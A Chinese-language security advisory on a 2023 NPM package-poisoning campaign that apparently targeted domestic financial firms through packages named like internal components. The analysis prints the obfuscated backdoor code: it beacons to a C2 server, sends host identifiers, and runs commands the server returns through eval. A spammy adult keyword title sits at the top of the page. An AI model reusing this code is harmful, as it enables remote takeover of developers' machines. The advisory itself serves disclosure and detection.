压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

首起針對國內金融企業的開源組件投毒攻擊事件

簡述

2023年8月9日,墨菲監控到用戶名為 snugglejack_org (郵件地址:SnuggleBearrxx@hotmail.com)的用戶發布到 NPM 倉庫中的 ws-paso-jssdk 組件包具有發向 https://ql.rustdesk[.]net 的可疑流量,經過確認該組件包攜帶遠控腳本,從攻擊者可控的 C2 服務器接收并執行系統命令,該組件包于2023年8月10日7點 21 分從 NPM 倉庫下架。

經過持續跟蹤發現,該投毒者繼續向 NPM 倉庫繼續發布了 pingan-vue-floating 等類似惡意組件包,投毒包的惡意 C2 地址改為了 62.234.32.226 ,此 IP 為以北京騰訊云提供,并且投毒包以 pingan、ynf 等命名,很大幾率是針對國內廠商(例如中國*安),投毒者通過模擬目標企業內部私有源組件命名進行混淆,進而通過誘導用戶企業內部用戶下載投毒組件包實現對目標機器的遠控入侵,這是目前公開發現的首起針對國內金融企業的開源組件投毒攻擊事件。

截至2023年8月14日,投毒包仍可在NPM騰訊源進行下載(見圖1),用戶可通過 npm ls 判斷是否下載了惡意組件,批量檢測投毒檢測可聯系墨菲安全使用產品工具進行全網一鍵排查,最近正值大型攻防演練,建議大家認真排查。

圖1: 騰訊云NPM組件下載地址

投毒分析

以pingan-vue-floating-0.0.7組件為例,該組件包通過 pm2 創建守護線程,每隔 45 秒后向攻擊者可控的惡意C2服務器發送請求維持心跳,進而接收并執行攻擊者發送的系統命令:

//pingan-vue-floating-0.0.7/app.jsconst key = (37532).toString(36).toLowerCase()+(27).toString(36).toLowerCase().split("").map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join("")+(1166).toString(36).toLowerCase()+(function(){var v=Array.prototype.slice.call(arguments),A=v.shift();return v.reverse().map(function(N,Q){return String.fromCharCode(N-A-10-Q)}).join("")})(43,107,106,169,150,111,106)+(914).toString(36).toLowerCase()+(function(){var k=Array.prototype.slice.call(arguments),D=k.shift();return k.reverse().map(function(r,I){return String.fromCharCode(r-D-8-I)}).join("")})(36,167,112)const url = "http://62.234.32.226:8888"const filename = path.join(os.tmpdir(), "node_logs.txt");const headersCnf = { headers: { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134" }};……functionheartbeat(){ const requestData = { hostname: os.hostname(), uuid:machineIdSync({original:true}), os:os.platform(), }; sendRequest(url+"/api/index",aesEncrypt(JSON.stringify(requestData))) const task = { uuid:machineIdSync({original:true}), } sendRequest(url+"/api/captcha",aesEncrypt(JSON.stringify(task))).then(result => { try{ if (result !== undefined) { const data = JSON.parse(result); const decodedData = Buffer.from(data.code,"base64").toString(); eval(decodedData) } }catch (error){ } });}functionapp(){ const result = checkFile(); if (result.exists) { return }else { createTmpFile(); setInterval(heartbeat,45000); }}app()

此次事件的攻擊者投毒的所有組件列表

Tip:請各單位自行排查!

來源:墨菲安全實驗室

上一篇:合規審計夯實個人信息保護制度框架

下一篇:研究:勒索受害者可能會持續遭受勒索攻擊